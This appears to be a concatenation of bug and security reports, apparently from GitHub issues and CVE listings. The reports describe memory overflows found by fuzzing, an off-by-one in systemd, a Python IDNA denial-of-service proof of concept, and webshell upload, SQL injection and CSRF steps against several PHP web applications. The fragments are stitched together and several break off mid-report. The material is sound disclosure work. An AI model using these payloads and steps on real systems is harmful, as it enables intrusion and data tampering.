I pulled down the most recent version of nprolog (Ver 1.91) and ran it through my fuzz tests. It looks like there is a global buffer overflow in gettoken at Main.c when you tell NPL to run a file in script mode.
I have attached most of the crash files for reproduction. If you compile the project with [AddressSanitizer](https://github.com/google/sanitizers/wiki/AddressSanitizer) it can also detect the global overflow:
## Makefile
```
CC = gcc
LIBS = -lm -ldl -fsanitize=address
LIBSRASPI = -lm -ldl -lwiringPi -fsanitize=address
INCS =
CFLAGS = $(INCS) -Wall -O3 -fsanitize=address
DEST = /usr/local/bin
```
## Running NPL in script mode

] | Hi there!
Great work on html2xhtml, I find myself using it quite often. While I was using the tool I created some fuzz tests to run in the background. A couple of test cases led to a segfault when using the '-t frameset' option, which led me to further investigate the crash.
### Valgrind
I started with Valgrind, which reported an invalid read of size 4 in each of the test cases:

### GDB Backtrace and Source Code
I attached gdb to html2xhtml in an attempt to find where the Out of Bounds Read was taking place:
<img width="1564" alt="backtrace_1" src="https://user-images.githubusercontent.com/42481692/197578931-7bf32130-d807-40ed-97e6-414fba7cb189.png">
<img width="986" alt="backtrace_2" src="https://user-images.githubusercontent.com/42481692/197578946-19c348c7-2c37-46ad-8bd8-606822df94cd.png">
Taking a look at the segfault in GDB led me to the following function:
https://github.com/jfisteus/html2xhtml/blob/ffb2f1f12910eb5945413e0bdb9272b508241aa1/src/procesador.c#L940
A user could provide a malformed document with an invalid 'ELM_PTR(nodo).contenttype[doctype]', resulting in the following comparison in assembly:
```
cmp dword ptr [rbp + rax*4 + 0xc], 4
```
This could be leveraged to read locations that they should not have access to. I have attached multiple crash files to help reproduce the issue.
Thanks again!

I was running my fuzz tests in the background and discovered multiple heap buffer overflows in PicoC Version 3.2.2 at various locations. After triaging all of the crashes, I can verify that there are 10 separate and unique heap buffer overflows at the following locations:
* **StdioBasePrintf in cstdlib/stdio.c** when called from ExpressionParseFunctionCall in expression.c
* **LexGetStringConstant in lex.c** when called from LexScanGetToken in lex.c
* **ExpressionCoerceUnsignedInteger in expression.c** when called from ExpressionParseFunctionCall in expression.c
* **ExpressionCoerceInteger in expression.c** when called from ExpressionInfixOperator in expression.c
* **ExpressionAssign in expression.c** when called from ExpressionParseMacroCall in expression.c
* **StringStrcat in cstdlib/string.c** when called from ExpressionParseFunctionCall in expression.c
* **StringStrncpy in cstdlib/string.c** when called from ExpressionParseFunctionCall in expression.c
* **ExpressionCoerceFP in expression.c** when called from ExpressionParseFunctionCall in expression.c
* **StdioOutPutc in cstdlib/stdio.c** when called from ExpressionParseFunctionCall in expression.c
* **LexSkipComment in lex.c** when called from LexScanGetToken in lex.c
# Reproduction and Details
For each of the heap buffer overflows I have attached a reproduction file and the full output from [ASAN (address sanitizer)](https://github.com/google/sanitizers/wiki/AddressSanitizer). The easiest way to reproduce each overflow would be to run the relevant file through the interpreter:
```
picoc -s [reproduction_filename.c]
```
## StdioBasePrintf in cstdlib/stdio.c when called from ExpressionParseFunctionCall in expression.c.

### Unexpected behaviour you saw
In the file `time-util.c`, the function `format_timespan` has the following [code](https://github.com/systemd/systemd/blob/b5fe371c0ea1814738b685634c5d405cfb750a6a/src/basic/time-util.c#L500):
```
char *format_timespan(char *buf, size_t l, usec_t t, usec_t accuracy) {
char *p = buf;
for (size_t i = 0; i < ELEMENTSOF(table); i++) {
size_t n;
....
if (!done) {
k = snprintf(p, l,
"%s"USEC_FMT"%s",
p > buf ? " " : "",
a,
table[i].suffix);
t = b;
}
n = MIN((size_t) k, l);
l -= n;
p += n;
}
*p = 0;
return buf;
}
```
The problem of the above code is that `n = MIN((size_t) k, l);` can assign the buffer size `l` to `n`. Then `p += n;` will cause `p` to point to one byte after the buffer `buf`, leading to a buffer overwrite in `*p=0` (an off-by-one error).
### Steps to reproduce the problem
To reproduce the buffer overrun, just run the following test code
```
int main() {
char buf[5];
char *p;
usec_t t = 100005;
usec_t accuracy = 1000;
p = format_timespan(buf, sizeof(buf), t, accuracy);
printf("%s\n",p);
return 0;
}
```
`format_timespan` will write to `buf[5]`, which is an error.
### Additional program output to the terminal or log subsystem illustrating the issue

CVE-2022-45061 | 2022-11-09T07:15:09.887 | An issue was discovered in Python before 3.11.1. An unnecessary quadratic algorithm exists in one path when processing some inputs to the IDNA (RFC 3490) decoder, such that a crafted, unreasonably long name being presented to the decoder could lead to a CPU denial of service. Hostnames are often supplied by remote servers that could be controlled by a malicious actor; in such a scenario, they could trigger excessive CPU consumption on the client attempting to make use of an attacker-supplied supposed hostname. For example, the attack payload could be placed in the Location header of an HTTP response with status code 302. A fix is planned in 3.11.1, 3.10.9, 3.9.16, 3.8.16, and 3.7.16. | {

Originally reported to the security address on September 9.
```python
('xn--016c'+'a'*5000).encode('utf-8').decode('idna')
```
The execution time is not linear in relation to the input string size, which can cause slowness with large inputs:
10 chars = 0.016 seconds
100 chars = 0.047 seconds
1000 chars = 2.883 seconds
2500 chars = 17.724 seconds
5000 chars = 1 min 10 seconds
Comment by @tiran:
> According to spec https://unicode.org/reports/tr46/ an IDNA label must not be longer than 63 characters. Python's idna module enforces the restriction, but too late.
This may be abused in some cases, for example by passing a crafted host name to `asyncio create_connection`:
```python
import asyncio
async def main():
loop = asyncio.get_running_loop()
await loop.create_connection(
lambda: [], ('xn--016c'+'a'*5000).encode('utf-8'), 443
)
asyncio.run(main())
```

```php+HTML
Build environment: Apache: 2.4.39; MySQL：5.7.26
```
ERP is available in application/controllers/basedata/inventory In php, the uploadImages function controls the file upload. It does not check the uploaded files. The uploaded files are saved in the path/data/upload/tools/. Use the webshell tool to connect the uploaded PHP file, and then you can getshell
## 二：Vulnerability recurrence:
* Log in to the background and click Commodity Management
* Click the image logo to add an image
* Upload PHP Trojan Files
* Code audit to find the path to upload files
* Access the uploaded PHP script file and use the webshell management tool to connect

] | ## Crm42 SQL injection vulnerability in login function
Crm42 does not filter the content entered by the user in the login function, resulting in a SQL injection vulnerability
Build environment: PHP 5.5.9 MySQL database version: MySQL 5.1.60
Vulnerability source code location：
In crm42\class\class.user.php, at lines 920-922
The SQL statement executed by $sql, without any filtering, directly brings the user name and password into the database for query, and then returns the query result $result, resulting in an error reporting SQL injection vulnerability
### 1.We can use sqlmap to validate：
```
(custom) POST parameter 'MULTIPART #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 664 HTTP(s) requests:
---
Parameter: MULTIPART #1* ((custom) POST)
Type: error-based

System version: 2.1
Vulnerability URL：http://hhims.test/index.php/attach/portrait/1
Build environment: Apache 2.4.39; MySQL5.0.96； PHP5.6.9
Vulnerability description：
```html
HHIMS is a free and open-source software system used to store and retrieve a simple patient medical record. The system was programmed by Lunar Technologies for the ICTA (Information and Communication Technology Agency of the Sri Lankan Government).
Each patient has a corresponding PID parameter,
In the function of uploading patient portrait, PID is a controllable variable, and PID parameters can be brought into the database for query, thus causing SQL injection vulnerabilities.
```
The paths are application/modules/attach/controllers/attach.php and application/models/persistent. php
Code audit：
* In the attach controller, lines 51-99, save_ The portlet function is used to upload and save pictures. The parameters sent by the front-end through POST include x, y, w, h and variable PID
* At the code line 58, the function in the contemporary controller is called. In the contemporary controller, variables are brought into the database for query without filtering
SQL injection vulnerability points are shown in the figure below
## 2.We can use sqlmap to validate
* Boolean blind note
* Error injection
## 3.Manual SQL injection proof
* Manual verification
* Burpsuite verification
## 4.SQL injection POC

## HMS has two SQL injection vulnerabilities
```html
Building environment: Apace2.4.39; MySQL5.7.26; PHP7.3.4
```
### 1.SQL injection vulnerability exists in adminlogin.php
In admin/adminlogin.php, line 6 - line 34
The front end post requests to transfer the uname and pass to the back end and assign values to $username and $password respectively.
Without filtering, directly bring $username and $password into the database for verification with the username and password in the database.
However, the variable is controllable, and the account and password entered in the input box are brought into the database to execute SQL statements, resulting in SQL injection vulnerabilities.
#### 1.We can use sqlmap to validate
#### 2.Manual SQL injection proof
* POC
```

### 2.SQL injection vulnerability in admin.php
In admin/admin In PHP, uname and pass are assigned to variables $uname and $pass, which are then brought into the database, causing SQL injection vulnerabilities.

There is an heap overflow in ReadPartial, Ap4StdCFileByteStream.cpp:341, in the newest master branch 5e7bb34a08272c49242196eba1cefab8af55f381, which seems to be incomplete fix of issue #510.
Here is the reproducing command:

POC:
[mp4info_overflow_ReadPartial341.zip](https://github.com/axiomatic-systems/Bento4/files/9987970/mp4info_overflow_ReadPartial341.zip)
(unzip first)
The reason of this overflow can causes arbitrary code execution by memory manipulation since user can control the content parsed by the program.

The overflow occurs on the `img->mask` buffer.
The `img->mask` is allocated on `image_need_mask()`, line 1343, using `img->width` and `img->height` values that were initialized at line 1267.
After the call to `image_need_mask()`, `img->width` and `img->height` are changed at lines 1346, 1347. By setting a higher `img->height` it its possible to go out of bounds on the buffer `img->mask` in:
```
1808 maskptr = img->mask + y * img->maskwidth + x / 8;
1809 if (alpha <= dither[x & 3][y & 3])
1810 *maskptr |= masks[x & 7];

1、Go to the background --> member center--> edit member--> Top up balance
2、Grab the request package for recharge and construct it
3、Open in another browser and go to the background page, see that the user test01 balance is 1000
4、Click on the structured page
The figure above shows the page that automatically jumps after successful execution to check whether the balance has increased？
The balance has increased by 1000:

] | EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF).Located in the backend, member center, edit member profile. To exploit this vulnerability, a constructed HTML file needs to be opened
1. Enter the background - > member center - > edit members - > basic information
2. Construct a request package to modify the membership level and login password, among other basic information
The figure above shows the constructed web code, and the password is changed to "csrftest" through CSRF, and the membership level is changed to premium membership (100 days).
3. View profile
In this case, the password is "test01" and the membership level is registered member
4. Click on the constructed web page
Return to the client refresh page to log in to test01 again, the password has been changed to "csrftest", and the membership level has been changed to premium membership
At this point the password has been changed to "csrftest"
The client views personal information:
View the test01 user's profile in the background:
